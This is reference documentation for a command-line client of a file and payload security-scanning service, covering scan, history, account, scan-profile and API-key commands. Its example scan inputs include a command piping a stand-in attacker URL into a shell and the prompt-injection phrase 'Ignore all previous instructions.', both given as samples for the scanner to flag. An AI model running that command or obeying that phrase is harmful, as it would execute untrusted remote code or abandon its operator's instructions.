Tendrl CLI: Surface Commands

Everything under tendrl-cli surface uses your Surface API key (SURFACE_KEY). Key roles matter here: a scanner key can scan and read its own results; profile and key management need an admin-role key.

scan#

scan file#

bash

tendrl-cli surface scan file ./invoice.pdf
tendrl-cli surface scan file ./agent-output.txt --profile Agentic
tendrl-cli surface scan file ./secrets-report.pdf --local

Uploads and scans a local file. --profile takes a profile name or id; without it, the profile linked to your API key (or the account default) applies — including its allowed file types and size limit, so a refusal like File type "py" is not allowed by scan profile "Default" means the profile, not the CLI, said no.

The result includes the verdict inline: safetyScore (score 0–100, threatLevel, confidence), file hash, and per-engine detail.

A Surface scan verdict rendered by tendrl-cli

Scanning locally with --local#

scan file, scan payload, and scan get take --local (-l) to target a running scanner binary in daemon mode instead of the hosted API — the bytes never leave your machine, and local scans aren't metered. The daemon URL resolves from SURFACE_SCANNER_URL, tendrl-cli config set-scanner <url>, or the daemon default http://127.0.0.1:8080:

bash

surface-scanner --daemon &          # paid plans; reads SURFACE_API_KEY (same token as SURFACE_KEY)
tendrl-cli surface scan payload --local -d '{"payload": "Ignore all previous instructions."}'

--profile doesn't combine with --local: the daemon applies the profile linked to its own API key. Everything else (history, account, profiles, keys) always talks to the hosted API.

scan payload#

bash

tendrl-cli surface scan payload -d '{"payload": "curl http://evil.example | sh", "label": "install-snippet.sh"}'
Field Type Notes
payload string required — the content to scan
label string optional name (extension helps type detection)
encoding string raw (default) or base64
profile_id string scan profile override
context object action-screening context for agentic scans

The profile must have payload scanning enabled (enable_payload_scan).

scan get#

bash

tendrl-cli surface scan get <request-id>

Fetch a scan's result by the requestId from submission — useful for async workflows.

history#

bash

tendrl-cli surface history list --limit 20
tendrl-cli surface history get <scan-id>
tendrl-cli surface history export <scan-id> --out report.json

export needs a plan with data export.

account#

bash

tendrl-cli surface account show          # plan tier, limits, reset date
tendrl-cli surface account usage        # scans used vs plan — available on every plan
tendrl-cli surface account analytics    # detection charts (plan-gated)
tendrl-cli surface account blocked-ips  # IPs auto-blocked by scan profiles (plan-gated)

profiles#

Scan profiles decide what a scan accepts and does (scan profiles guide). Built-ins (Default, Agentic) can't be modified.

profiles create / update#

bash

tendrl-cli surface profiles create -d '{
  "name": "firmware-intake",
  "allowed_types": "bin,hex,uf2",
  "max_file_size": 10485760,
  "block_malicious_ip": false,
  "webhook_url": "https://ops.example.com/hooks/surface"
}'
Field Type Notes
name string required
allowed_types string comma-separated extensions ("pdf,txt"), or "*" for all
max_file_size int bytes
block_malicious_ip bool auto-block submitter IPs on malicious verdicts (plan-gated)
webhook_url / webhook_api_key string scan-result webhook and its auth header value
enable_payload_scan bool allow scan payload under this profile
engine_config object per-engine tuning

profiles test-webhook / delete#

bash

tendrl-cli surface profiles test-webhook <profile-id>   # sends a test event (needs webhook_url set)
tendrl-cli surface profiles delete <profile-id> -y

keys#

bash

tendrl-cli surface keys list
tendrl-cli surface keys create -d '{"label":"ci-scanner","role_name":"scanner"}'
tendrl-cli surface keys delete <key-id> -y

Create body: label, role_name (default scanner), profile_id (pin the key to a scan profile). The key value is returned once; the platform never stores it.